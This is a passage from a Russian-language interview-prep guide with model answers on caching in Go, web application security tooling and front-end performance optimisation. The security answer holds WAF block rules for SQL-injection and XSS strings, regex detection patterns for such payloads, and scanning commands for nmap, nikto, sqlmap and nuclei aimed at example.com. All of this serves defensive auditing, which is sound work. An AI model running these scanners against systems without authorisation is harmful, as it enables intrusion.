  • Снижение задержки (географическая близость).
  • Снижение нагрузки на origin-сервер.
  • Защита от DDoS.

5. Серверное кэширование

In-memory кэш (кэш в памяти приложения):

// Go — простой in-memory кэш
type Cache struct {
data map[string]cacheItem
mu sync.RWMutex
}

type cacheItem struct {
value interface{}
expiration time.Time
}

func (c *Cache) Get(key string) (interface{}, bool) {
c.mu.RLock()
defer c.mu.RUnlock()

item, exists := c.data[key]
if !exists || time.Now().After(item.expiration) {
return nil, false
}
return item.value, true
}

func (c *Cache) Set(key string, value interface{}, ttl time.Duration) {
c.mu.Lock()
defer c.mu.Unlock()

c.data[key] = cacheItem{
value: value,
expiration: time.Now().Add(ttl),
}
}

Redis — распределённый кэш:

// Go — Redis кэш
import "github.com/go-redis/redis/v8"

type RedisCache struct {
client *redis.Client
ctx context.Context
}

func NewRedisCache(addr string) *RedisCache {
return &RedisCache{
client: redis.NewClient(&redis.Options{
Addr: addr,
}),
ctx: context.Background(),
}
}

func (c *RedisCache) Get(key string) (string, error) {
return c.client.Get(c.ctx, key).Result()
}

func (c *RedisCache) Set(key, value string, ttl time.Duration) error {
return c.client.Set(c.ctx, key, value, ttl).Err()
}

func (c *RedisCache) Delete(key string) error {
return c.client.Del(c.ctx, key).Err()
}

// Кэширование с паттерном Cache-Aside
func (c *RedisCache) GetOrSet(key string, ttl time.Duration, fetch func() (string, error)) (string, error) {
// Пробуем получить из кэша
cached, err := c.Get(key)
if err == nil {
return cached, nil
}

// Если нет в кэше — получаем данные
value, err := fetch()
if err != nil {
return "", err
}

// Сохраняем в кэш
c.Set(key, value, ttl)
return value, nil
}

Memcached — альтернатива Redis для простого кэширования:

import "github.com/bradfitz/gomemcache/memcache"

type MemcachedCache struct {
client *memcache.Client
}

func NewMemcachedCache(addr string) *MemcachedCache {
return &MemcachedCache{
client: memcache.New(addr),
}
}

func (c *MemcachedCache) Get(key string) ([]byte, error) {
item, err := c.client.Get(key)
if err != nil {
return nil, err
}
return item.Value, nil
}

func (c *MemcachedCache) Set(key string, value []byte, ttl int32) error {
return c.client.Set(&memcache.Item{
Key: key,
Value: value,
Expiration: ttl,
})
}

6. HTTP/2 Server Push

Сервер может отправлять ресурсы до того, как клиент их запросил:

# HTTP/2 Server Push
Link: </styles.css>; rel=preload; as=style
Link: </script.js>; rel=preload; as=script

7. Resource Hints

<!-- Preconnect — раннее соединение -->
<link rel="preconnect" href="https://api.example.com">

<!-- DNS prefetch -->
<link rel="dns-prefetch" href="https://cdn.example.com">

<!-- Preload — загрузка критических ресурсов -->
<link rel="preload" href="/fonts/main.woff2" as="font" crossorigin>
<link rel="preload" href="/critical.css" as="style">

<!-- Prefetch — загрузка для будущей навигации -->
<link rel="prefetch" href="/next-page.html">

8. Кэширование API-ответов

HTTP-кэширование для API:

# Публичный кэш для GET-запросов
Cache-Control: public, max-age=300

# Приватный кэш (для авторизованных пользователей)
Cache-Control: private, max-age=60

# Без кэширования для чувствительных данных
Cache-Control: no-store

Кэширование на уровне приложения:

// Go — middleware для кэширования API
func CacheMiddleware(ttl time.Duration) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// Кэшируем только GET-запросы
if r.Method != http.MethodGet {
next.ServeHTTP(w, r)
return
}

// Ключ кэша на основе URL и заголовков
cacheKey := generateCacheKey(r)

// Проверяем кэш
if cached, found := apiCache.Get(cacheKey); found {
w.Header().Set("X-Cache", "HIT")
w.Header().Set("Content-Type", "application/json")
w.Write(cached.([]byte))
return
}

// Если нет в кэше — выполняем запрос
recorder := httptest.NewRecorder()
next.ServeHTTP(recorder, r)

// Сохраняем ответ в кэш
if recorder.Code == http.StatusOK {
apiCache.Set(cacheKey, recorder.Body.Bytes(), ttl)
}

// Копируем заголовки и тело
for k, v := range recorder.Header() {
w.Header()[k] = v
}
w.Header().Set("X-Cache", "MISS")
w.WriteHeader(recorder.Code)
w.Write(recorder.Body.Bytes())
})
}
}

9. Стратегии инвалидации кэша

Time-based (TTL):

  • Кэш автоматически устаревает через заданное время.
  • Простота реализации.
  • Возможна выдача устаревших данных.

Event-based:

  • Кэш инвалидируется при изменении данных.
  • Точность данных.
  • Сложнее реализовать.
// Инвалидация кэша при изменении данных
func (s *Service) UpdateUser(userID string, data UserData) error {
// Обновляем в базе
if err := s.db.UpdateUser(userID, data); err != nil {
return err
}

// Инвалидируем кэш
cacheKey := fmt.Sprintf("user:%s", userID)
s.cache.Delete(cacheKey)

// Инвалидируем связанные кэши
s.cache.Delete(fmt.Sprintf("user:%s:profile", userID))
s.cache.Delete(fmt.Sprintf("user:%s:posts", userID))

return nil
}

Tag-based:

  • Кэш тегируется по группам.
  • Инвалидация по тегу удаляет все связанные записи.
// Tag-based инвалидация
func (c *Cache) SetWithTags(key string, value interface{}, ttl time.Duration, tags []string) {
c.Set(key, value, ttl)

for _, tag := range tags {
tagKey := fmt.Sprintf("tag:%s", tag)
keys, _ := c.Get(tagKey)
keySet := keys.(map[string]bool)
keySet[key] = true
c.Set(tagKey, keySet, 0)
}
}

func (c *Cache) InvalidateByTag(tag string) {
tagKey := fmt.Sprintf("tag:%s", tag)
keys, found := c.Get(tagKey)
if !found {
return
}

for key := range keys.(map[string]bool) {
c.Delete(key)
}
c.Delete(tagKey)
}

Сводная таблица методов кэширования

МетодУровеньTTLСложностьИспользование
Cache-ControlБраузер/проксиНастраиваемыйНизкаяСтатика, API
ETag/Last-ModifiedБраузер/проксиВалидацияНизкаяДинамический контент
Service WorkerБраузерПрограммныйСредняяPWA, офлайн
CDNEdgeНастраиваемыйСредняяГлобальная раздача
Redis/MemcachedСерверНастраиваемыйСредняяAPI, сессии
In-memoryПриложениеНастраиваемыйНизкаяЧастые запросы

Рекомендации

  • Использовать долгий кэш с хешами для статики.
  • Stale-while-revalidate для часто обновляемых данных.
  • Redis для распределённого серверного кэширования.
  • CDN для глобальной раздачи контента.
  • Service Worker для офлайн-работы и программируемого кэширования.
  • Мониторинг hit ratio для оценки эффективности кэша.

Вопрос 32. Какие инструменты и методы используются для обнаружения и устранения уязвимостей, а также проведения аудита безопасности веб-приложений?

Таймкод: 01:40:00

Ответ собеседника: неполный. Кандидат назвал npm audit и CSP, но не упомянул SAST/DAST инструменты, линтеры безопасности, пентестинг, WAF и сканеры уязвимостей.

Правильный ответ:

Комплексный подход к безопасности веб-приложений

Безопасность веб-приложений требует многоуровневого подхода, охватывающего весь жизненный цикл разработки.

1. Статический анализ кода (SAST)

SAST-инструменты анализируют исходный код без выполнения:

SonarQube — платформа непрерывной проверки качества и безопасности кода:

# docker-compose.yml для SonarQube
version: '3'
services:
sonarqube:
image: sonarqube:latest
ports:
- "9000:9000"
environment:
- SONAR_ES_BOOTSTRAP_CHECKS_DISABLE=true
volumes:
- sonarqube_data:/opt/sonarqube/data
- sonarqube_logs:/opt/sonarqube/logs

volumes:
sonarqube_data:
sonarqube_logs:
# CI pipeline — анализ с SonarQube
sonar-analysis:
stage: test
script:
- sonar-scanner
-Dsonar.projectKey=my-project
-Dsonar.sources=./src
-Dsonar.host.url=$SONAR_HOST
-Dsonar.login=$SONAR_TOKEN

Semgrep — быстрый статический анализатор с правилами:

# .semgrep.yml
rules:
- id: hardcoded-secret
pattern: |
const secret = "..."
message: "Hardcoded secret detected"
severity: ERROR

- id: sql-injection
pattern: |
db.query("SELECT * FROM users WHERE id = " + userId)
message: "Potential SQL injection"
severity: WARNING

2. Динамический анализ (DAST)

DAST-инструменты тестируют работающее приложение:

OWASP ZAP — бесплатный сканер безопасности:

# Запуск ZAP в Docker
docker run -t owasp/zap2docker-stable zap-baseline.py \
-t https://example.com \
-r report.html

# Полное сканирование
docker run -t owasp/zap2docker-stable zap-full-scan.py \
-t https://example.com \
-r full-report.html
# CI pipeline с ZAP
zap-scan:
stage: security
script:
- docker run -t owasp/zap2docker-stable zap-baseline.py
-t $STAGING_URL
-r zap-report.html
artifacts:
paths:
- zap-report.html

Burp Suite — профессиональный инструмент для тестирования безопасности веб-приложений.

3. Сканирование зависимостей

npm audit — встроенный инструмент для Node.js:

# Проверка уязвимостей
npm audit

# Автоматическое исправление
npm audit fix

# Подробный отчёт
npm audit --json

Snyk — сканер уязвимостей с мониторингом:

# Установка
npm install -g snyk

# Авторизация
snyk auth

# Тестирование
snyk test

# Мониторинг
snyk monitor
# .snyk — политика игнорирования
ignore:
SNYK-JS-LODASH-567890:
- '*':
reason: 'No fix available'
expires: '2024-12-31'

Dependabot — автоматические PR для обновления зависимостей (GitHub):

# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
labels:
- "security"
- "dependencies"

4. Линтеры безопасности

ESLint с плагинами безопасности:

// .eslintrc.js
module.exports = {
plugins: [
'security',
'no-unsanitized',
'scanjs-rules'
],
rules: {
// Обнаружение eval()
'no-eval': 'error',

// Обнаружение innerHTML
'no-unsanitized/method': 'error',
'no-unsanitized/property': 'error',

// Обнаружение опасных паттернов
'scanjs-rules/assign_to_src': 'error',
'scanjs-rules/assign_to_href': 'error',
'scanjs-rules/assign_to_location': 'error',

// Обнаружение секретов
'security/detect-object-injection': 'warn',
'security/detect-non-literal-fs-filename': 'warn',
'security/detect-eval-with-expression': 'error'
}
};

5. Content Security Policy (CSP)

CSP ограничивает источники ресурсов и предотвращает XSS:

// Express.js — настройка CSP
const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://cdn.example.com"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https://cdn.example.com"],
connectSrc: ["'self'", "https://api.example.com"],
fontSrc: ["'self'", "https://fonts.googleapis.com"],
objectSrc: ["'none'"],
mediaSrc: ["'self'"],
frameSrc: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"]
}
}));

Мониторинг нарушений CSP:

// Отчёты о нарушениях CSP
app.use(helmet.contentSecurityPolicy({
directives: { /* ... */ },
reportOnly: false
}));

// Endpoint для отчётов
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
const report = req.body['csp-report'];

console.error('CSP Violation:', {
blockedURI: report['blocked-uri'],
violatedDirective: report['violated-directive'],
sourceFile: report['source-file'],
lineNumber: report['line-number']
});

res.status(204).end();
});

6. Web Application Firewall (WAF)

WAF фильтрует вредоносный трафик на уровне сети:

Cloudflare WAF:

// Правила Cloudflare WAF
// Блокировка SQL-инъекций
if (http.request.uri.path contains "union select" ||
http.request.uri.path contains "' or 1=1") {
block();
}

// Блокировка XSS
if (http.request.uri.query contains "<script>" ||
http.request.uri.query contains "javascript:") {
block();
}

// Rate limiting
if (cf.threat_score > 50) {
challenge();
}

AWS WAF:

# AWS WAF правила
Rules:
- Name: SQLInjectionRule
Priority: 1
Statement:
SqliMatchStatement:
FieldToMatch:
QueryString: {}
TextTransformations:
- Priority: 0
Type: URL_DECODE
Action:
Block: {}

- Name: XSSRule
Priority: 2
Statement:
XssMatchStatement:
FieldToMatch:
Body: {}
TextTransformations:
- Priority: 0
Type: HTML_ENTITY_DECODE
Action:
Block: {}

- Name: RateLimitRule
Priority: 3
Statement:
RateBasedStatement:
Limit: 2000
AggregateKeyType: IP
Action:
Block: {}

7. Пентестинг (проникновение)

Автоматизированный пентестинг с помощью инструментов:

# Nmap — сканирование портов
nmap -sV -sC -oA scan example.com

# Nikto — сканер веб-уязвимостей
nikto -h https://example.com -o nikto-report.html

# SQLMap — обнаружение SQL-инъекций
sqlmap -u "https://example.com/api/users?id=1" --batch --level=3

# Nuclei — сканер на основе шаблонов
nuclei -u https://example.com -t nuclei-templates/

8. Безопасность заголовков HTTP

// Express.js — безопасные заголовки с Helmet
const helmet = require('helmet');

app.use(helmet());

// Ручная настройка заголовков
app.use((req, res, next) => {
// Предотвращение MIME-sniffing
res.setHeader('X-Content-Type-Options', 'nosniff');

// Защита от clickjacking
res.setHeader('X-Frame-Options', 'DENY');

// XSS Protection
res.setHeader('X-XSS-Protection', '1; mode=block');

// Referrer Policy
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');

// Permissions Policy
res.setHeader('Permissions-Policy',
'camera=(), microphone=(), geolocation=()');

// Strict Transport Security
res.setHeader('Strict-Transport-Security',
'max-age=31536000; includeSubDomains; preload');

next();
});

9. Аудит безопасности в CI/CD

# .github/workflows/security.yml
name: Security Audit

on:
push:
branches: [main]
pull_request:
branches: [main]
schedule:
- cron: '0 0 * * 1' # Еженедельно

jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4

# Проверка зависимостей
- name: NPM Audit
run: npm audit --audit-level=high

# SAST анализ
- name: Semgrep
uses: returntocorp/semgrep-action@v1
with:
config: >-
p/security-audit
p/owasp-top-ten

# Сканирование секретов
- name: Gitleaks
uses: gitleaks/gitleaks-action@v2

# Сканирование контейнеров
- name: Trivy
uses: aquasecurity/trivy-action@master
with:
image-ref: 'myapp:latest'
format: 'table'
exit-code: '1'
severity: 'CRITICAL,HIGH'

10. Мониторинг и логирование безопасности

// Логирование событий безопасности
const winston = require('winston');

const securityLogger = winston.createLogger({
level: 'info',
format: winston.format.json(),
transports: [
new winston.transports.File({
filename: 'security.log',
level: 'warn'
}),
new winston.transports.Console({
format: winston.format.simple()
})
]
});

// Middleware для логирования подозрительных запросов
function securityLoggerMiddleware(req, res, next) {
const suspiciousPatterns = [
/(\%27)|(\')|(\-\-)|(\%23)|(#)/i, // SQL injection
/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i, // XSS
/((\%3C)|<)((\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47))/i // Image XSS
];

const url = req.originalUrl || req.url;
const body = JSON.stringify(req.body);

for (const pattern of suspiciousPatterns) {
if (pattern.test(url) || pattern.test(body)) {
securityLogger.warn('Suspicious request detected', {
ip: req.ip,
url: url,
method: req.method,
userAgent: req.get('User-Agent'),
pattern: pattern.toString(),
timestamp: new Date().toISOString()
});
break;
}
}

next();
}

app.use(securityLoggerMiddleware);

11. OWASP Top 10 — основные уязвимости

#УязвимостьЗащита
A01Broken Access ControlRBAC, проверка прав на каждом запросе
A02Cryptographic FailuresHTTPS, хеширование паролей (bcrypt)
A03InjectionПараметризованные запросы, ORM
A04Insecure DesignThreat modeling, secure design patterns
A05Security MisconfigurationАвтоматическая проверка конфигурации
A06Vulnerable ComponentsSCA инструменты, регулярные обновления
A07Auth FailuresMFA, rate limiting, secure sessions
A08Data IntegrityПодпись данных, верификация обновлений
A09Logging FailuresЦентрализованное логирование, мониторинг
A10SSRFWhitelist URL, валидация входных данных

Сводная таблица инструментов

КатегорияИнструментыНазначение
SASTSonarQube, Semgrep, CodeQLАнализ исходного кода
DASTOWASP ZAP, Burp SuiteТестирование работающего приложения
SCASnyk, Dependabot, npm auditПроверка зависимостей
ЛинтерыESLint security pluginsОбнаружение в процессе разработки
WAFCloudflare, AWS WAFФильтрация трафика
ПентестингNmap, Nikto, SQLMapИмитация атак
МониторингELK Stack, SplunkЛогирование и анализ событий

Рекомендации

  • Интегрировать проверки безопасности в CI/CD pipeline.
  • Использовать комбинацию SAST и DAST для полного покрытия.
  • Регулярно обновлять зависимости и сканировать на уязвимости.
  • Настроить CSP и безопасные HTTP-заголовки.
  • Вести логирование событий безопасности и настроить алерты.
  • Проводить регулярный пентестинг (минимум раз в квартал).
  • Следовать OWASP Top 10 как базовому чек-листу.

Вопрос 33. Какие методы оптимизации производительности веб-приложений вы применяли в проектах и какие результаты они принесли?

Таймкод: 01:43:00

Ответ собеседника: неполный. Кандидат упомянул кэширование, SSR, критический CSS/JS, code splitting и хэширование бандлов, но не затронул lazy loading, tree shaking, оптимизацию изображений, CDN, профилирование и метрики производительности.

Правильный ответ:

Комплексный подход к оптимизации производительности

Оптимизация производительности — это системный процесс, начинающийся с измерения и заканчивающийся непрерывным мониторингом.

1. Метрики производительности (Core Web Vitals)

Прежде чем оптимизировать, нужно измерить. Google Core Web Vitals — ключевые метрики:

LCP (Largest Contentful Paint) — время загрузки самого большого элемента:

  • Хорошо: < 2.5 сек
  • Требует улучшения: 2.5–4 сек
  • Плохо: > 4 сек

FID (First Input Delay) — время до первого взаимодействия:

  • Хорошо: < 100 мс
  • Требует улучшения: 100–300 мс
  • Плохо: > 300 мс

CLS (Cumulative Layout Shift) — визуальная стабильность:

  • Хорошо: < 0.1
  • Требует улучшения: 0.1–0.25
  • Плохо: > 0.25

Дополнительные метрики:

МетрикаОписаниеЦелевое значение
FCPFirst Contentful Paint< 1.8 сек
TTITime to Interactive< 3.8 сек
TBTTotal Blocking Time< 200 мс
SISpeed Index< 3.4 сек

2. Инструменты профилирования

Lighthouse — аудит производительности от Google:

# CLI запуск
npx lighthouse https://example.com --output html --output-path report.html

# Программное использование
const lighthouse = require('lighthouse');
const chromeLauncher = require('chrome-launcher');

async function runLighthouse(url) {
const chrome = await chromeLauncher.launch({ chromeFlags: ['--headless'] });
const options = {
logLevel: 'info',
output: 'html',
onlyCategories: ['performance'],
port: chrome.port
};

const runnerResult = await lighthouse(url, options);

console.log('Performance score:', runnerResult.lhr.categories.performance.score * 100);
console.log('LCP:', runnerResult.lhr.audits['largest-contentful-paint'].displayValue);
console.log('FID:', runnerResult.lhr.audits['max-potential-fid'].displayValue);
console.log('CLS:', runnerResult.lhr.audits['cumulative-layout-shift'].displayValue);

await chrome.kill();
return runnerResult;
}

WebPageTest — детальный анализ загрузки:

// API WebPageTest
const WebPageTest = require('webpagetest');
const wpt = new WebPageTest('www.webpagetest.org', 'API_KEY');

wpt.runTest('https://example.com', {
location: 'Dulles:Chrome',
runs: 3,
firstViewOnly: false,
video: true,
timeline: true,
lighthouse: true
}, (err, result) => {
if (err) throw err;
console.log('Test ID:', result.data.testId);
console.log('Median FCP:', result.data.median.firstView.firstContentfulPaint);
console.log('Median LCP:', result.data.median.firstView.largestContentfulPaint);
});

Chrome DevTools Performance:

// Программное профилирование
console.time('HeavyOperation');
// ... код
console.timeEnd('HeavyOperation');

// User Timing API
performance.mark('start-processing');
// ... код
performance.mark('end-processing');
performance.measure('processing', 'start-processing', 'end-processing');

const measures = performance.getEntriesByType('measure');
console.log('Processing took:', measures[0].duration, 'ms');

3. Оптимизация загрузки ресурсов

Code Splitting — разделение кода:

// React — динамический импорт
import React, { lazy, Suspense } from 'react';

const HeavyComponent = lazy(() => import('./HeavyComponent'));

function App() {
return (
<Suspense fallback={<div>Loading...</div>}>
<HeavyComponent />
</Suspense>
);
}

// Route-based splitting
const Home = lazy(() => import('./pages/Home'));
const Dashboard = lazy(() => import('./pages/Dashboard'));
const Settings = lazy(() => import('./pages/Settings'));

function Router() {
return (
<Suspense fallback={<LoadingSpinner />}>
<Routes>
<Route path="/" element={<Home />} />
<Route path="/dashboard" element={<Dashboard />} />
<Route path="/settings" element={<Settings />} />
</Routes>
</Suspense>
);
}

Lazy Loading — отложенная загрузка:

// Ленивая загрузка изображений
<img
src="placeholder.jpg"
data-src="actual-image.jpg"
loading="lazy"
alt="Description"
/>

// Intersection Observer для кастомного lazy loading
const imageObserver = new IntersectionObserver((entries, observer) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
const img = entry.target;
img.src = img.dataset.src;
img.classList.remove('lazy');
observer.unobserve(img);
}
});
});

document.querySelectorAll('img[data-src]').forEach(img => {
imageObserver.observe(img);
});

// Ленивая загрузка компонентов
const LazySection = ({ children, threshold = 0.1 }) => {
const [isVisible, setIsVisible] = useState(false);
const ref = useRef();

useEffect(() => {
const observer = new IntersectionObserver(
([entry]) => {
if (entry.isIntersecting) {
setIsVisible(true);
observer.disconnect();
}
},
{ threshold }
);

if (ref.current) {
observer.observe(ref.current);
}

return () => observer.disconnect();
}, [threshold]);

return <div ref={ref}>{isVisible ? children : <Skeleton />}</div>;
};

Tree Shaking — удаление неиспользуемого кода:

// webpack.config.js
module.exports = {
mode: 'production',
optimization: {
usedExports: true,
sideEffects: true,
minimize: true,
minimizer: [
new TerserPlugin({
terserOptions: {
compress: {
drop_console: true,
drop_debugger: true
}
}
})
]
}
};

// package.json — указание side effects
{
"sideEffects": [
"*.css",
"*.scss",
"./src/polyfills.js"
]
}

// Правильный импорт для tree shaking
// Плохо — импорт всего модуля
import _ from 'lodash';
_.get(obj, 'path');

// Хорошо — импорт только нужного
import get from 'lodash/get';
get(obj, 'path');

// Ещё лучше — использовать es-версию
import { get } from 'lodash-es';

4. Оптимизация изображений

// Генерация responsive изображений
const sharp = require('sharp');

async function optimizeImage(inputPath, outputDir) {
const sizes = [320, 640, 960, 1280, 1920];
const formats = ['webp', 'avif', 'jpeg'];

for (const size of sizes) {
for (const format of formats) {
await sharp(inputPath)
.resize(size, null, { withoutEnlargement: true })
.toFormat(format, { quality: format === 'avif' ? 50 : 80 })
.toFile(`${outputDir}/image-${size}.${format}`);
}
}
}

// HTML с responsive изображениями
<picture>
<source
srcset="image-640.avif 640w, image-1280.avif 1280w"
type="image/avif"
/>
<source
srcset="image-640.webp 640w, image-1280.webp 1280w"
type="image/webp"
/>
<img
src="image-1280.jpg"
srcset="image-640.jpg 640w, image-1280.jpg 1280w"
sizes="(max-width: 768px) 100vw, 50vw"
alt="Description"
loading="lazy"
decoding="async"
/>
</picture>

5. Критический CSS/JS

// Извлечение критического CSS
const critical = require('critical');

critical.generate({
base: 'dist/',
src: 'index.html',
target: {
html: 'index-critical.html',
css: 'critical.css'
},
width: 1300,
height: 900,
inline: true
});

// Результат — inline критический CSS
<head>
<style>
/* Критический CSS для первого экрана */
.header { ... }
.hero { ... }
.nav { ... }
</style>

/* Полный CSS загружается асинхронно */
<link rel="preload" href="styles.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
<noscript><link rel="stylesheet" href="styles.css"></noscript>
</head>

6. Серверный рендеринг (SSR)

// Next.js — SSR с оптимизацией
import { GetServerSideProps } from 'next';

export const getServerSideProps: GetServerSideProps = async (context) => {
const data = await fetchData(context.params.id);

return {
props: { data },
// Stale While Revalidate
revalidate: 60
};
};

// Streaming SSR — постепенная отправка
import { renderToPipeableStream } from 'react-dom/server';

app.get('/', (req, res) => {
const { pipe, abort } = renderToPipeableStream(<App />, {
bootstrapScripts: ['/client.js'],
onShellReady() {
res.statusCode = 200;
res.setHeader('Content-Type', 'text/html');
pipe(res);
},
onError(error) {
res.statusCode = 500;
res.send('Server Error');
}
});

setTimeout(abort, 10000);
});

7. CDN и кэширование

// Настройка CDN заголовков
app.use((req, res, next) => {
// Статические ресурсы — долгий кэш с хешем
if (req.path.match(/\.(js|css|woff2)$/)) {
res.setHeader('Cache-Control', 'public, max-age=31536000, immutable');
}

// HTML — короткий кэш с валидацией
if (req.path.endsWith('.html') || req.path === '/') {
res.setHeader('Cache-Control', 'public, max-age=0, must-revalidate');
res.setHeader('ETag', generateETag(req.path));
}

// API — stale-while-revalidate
if (req.path.startsWith('/api/')) {
res.setHeader('Cache-Control', 'public, max-age=60, stale-while-revalidate=300');
}

next();
});

8. Оптимизация бандла

// webpack.config.js — оптимизация
module.exports = {
optimization: {
splitChunks: {
chunks: 'all',
cacheGroups: {
vendor: {
test: /[\\/]node_modules[\\/]/,
name: 'vendors',
chunks: 'all',
priority: 10
},
common: {
minChunks: 2,
chunks: 'all',
enforce: true,
priority: 5
}
}
},
runtimeChunk: 'single'
}
};

// Анализ бандла
const BundleAnalyzerPlugin = require('webpack-bundle-analyzer').BundleAnalyzerPlugin;

module.exports = {
plugins: [
new BundleAnalyzerPlugin({
analyzerMode: 'static',
reportFilename: 'bundle-report.html',
openAnalyzer: false
})
]
};

9. Оптимизация выполнения

// Debounce для поиска
function debounce(fn, delay) {
let timeoutId;
return function (...args) {
clearTimeout(timeoutId);
timeoutId = setTimeout(() => fn.apply(this, args), delay);
};
}

const searchInput = document.getElementById('search');
searchInput.addEventListener('input', debounce(async (e) => {
const results = await fetch(`/api/search?q=${e.target.value}`);
renderResults(results);
}, 300));

// Virtual scrolling для длинных спискos
import { FixedSizeList } from 'react-window';

function VirtualList({ items }) {
const Row = ({ index, style }) => (
<div style={style}>
{items[index].name}
</div>
);

return (
<FixedSizeList
height={600}
itemCount={items.length}
itemSize={50}
width="100%"
>
{Row}
</FixedSizeList>
);
}

// Web Worker для тяжёлых вычислений
// worker.js
self.onmessage = function(e) {
const result = heavyComputation(e.data);
self.postMessage(result);
};

// main.js
const worker = new Worker('worker.js');
worker.postMessage(largeData);
worker.onmessage = (e) => {
console.log('Result:', e.data);
};

10. Мониторинг в production

// Real User Monitoring (RUM)
import { getCLS, getFID, getLCP, getFCP, getTTFB } from 'web-vitals';

function sendToAnalytics(metric) {
const body = JSON.stringify({
name: metric.name,
value: metric.value,
rating: metric.rating,
delta: metric.delta,
id: metric.id,
navigationType: metric.navigationType
});

// Отправка на сервер аналитики
navigator.sendBeacon('/analytics/vitals', body);
}

getCLS(sendToAnalytics);
getFID(sendToAnalytics);
getLCP(sendToAnalytics);
getFCP(sendToAnalytics);
getTTFB(sendToAnalytics);

Примеры результатов оптимизации

ОптимизацияДоПослеУлучшение
Code splitting2.5 MB бандл400 KB initial-84%
Оптимизация изображений5 MB страница1.2 MB-76%
SSR + Streaming3.2 сек FCP0.8 сек FCP-75%
CDN + кэширование800 мс TTFB120 мс TTFB-85%
Lazy loading120 ресурсов35 ресурсов-71%
Tree shaking1.8 MB vendor600 KB vendor-67%
Critical CSS2.1 сек FCP0.9 сек FCP-57%

Рекомендации

  • Начинать с измерения — без метрик оптимизация слепа.
  • Фокусироваться на Core Web Vitals как целевых метриках.
  • Использовать code splitting и lazy loading для уменьшения initial bundle.
  • Оптимизировать изображения — они обычно 50-70% веса страницы.
  • Внедрить CDN для глобальной раздачи статики.
  • Настроить мониторинг реальных пользователей (RUM).
  • Проводить регулярные аудиты с Lighthouse (минимум раз в месяц).
  • Оптимизировать критический путь рендеринга.